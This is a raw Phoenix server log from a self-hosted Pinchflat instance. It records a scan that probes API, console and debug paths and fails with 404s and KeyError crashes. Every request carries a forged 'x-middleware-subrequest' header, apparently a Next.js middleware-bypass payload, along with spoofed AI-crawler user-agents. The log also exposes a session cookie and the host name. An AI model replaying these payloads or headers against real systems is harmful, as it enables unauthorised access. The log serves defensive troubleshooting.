"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v1/keys (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29876.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/keys", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34852}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, (truncated) 16:49:10.484 [info] GET /api/v1/models 16:49:10.485 [debug] QUERY OK source="settings" db=0.1ms idle=137.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.485 [debug] QUERY OK source="settings" db=0.1ms idle=21.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.485 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.489 [info] GET /api/v1/config/ 16:49:10.489 [info] GET /console 16:49:10.485 [error] #PID<0.29879.0> running PinchflatWeb.Endpoint (connection #PID<0.29878.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/v1/models ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v1/models (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29878.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/models", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34858}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29879.0>, params: %{}, path_info: ["api", "v1", "models"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/v1/models", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61mNxiQ_n9LcABwpB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29878.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/models", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34858}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v1/models (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29878.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/models", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34858}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined (truncated) 16:49:10.489 [debug] QUERY OK source="settings" db=0.5ms idle=25.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.489 [debug] QUERY OK source="settings" db=0.5ms idle=13.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.490 [debug] QUERY OK source="settings" db=0.2ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.490 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.490 [debug] QUERY OK source="settings" db=0.3ms idle=13.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.490 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.490 [error] #PID<0.29882.0> running PinchflatWeb.Endpoint (connection #PID<0.29880.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/v1/config/ ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v1/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29880.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/config/", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34868}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29882.0>, params: %{}, path_info: ["api", "v1", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/v1/config/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61mOy63vtUNUABwph"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29880.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/config/", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34868}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v1/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29880.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/config/", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34868}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-dat (truncated) 16:49:10.490 [error] #PID<0.29883.0> running PinchflatWeb.Endpoint (connection #PID<0.29881.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /console ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /console (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29881.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/console", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34870}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29883.0>, params: %{}, path_info: ["console"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/console", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61mO0e9afTt4ABwqB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29881.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/console", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34870}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /console (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29881.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/console", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34870}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", stre (truncated) 16:49:10.495 [info] GET /debug/pprof 16:49:10.496 [debug] QUERY OK source="settings" db=0.1ms idle=10.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.496 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.496 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.496 [error] #PID<0.29885.0> running PinchflatWeb.Endpoint (connection #PID<0.29884.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /debug/pprof ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /debug/pprof (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29884.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/debug/pprof", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34872}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29885.0>, 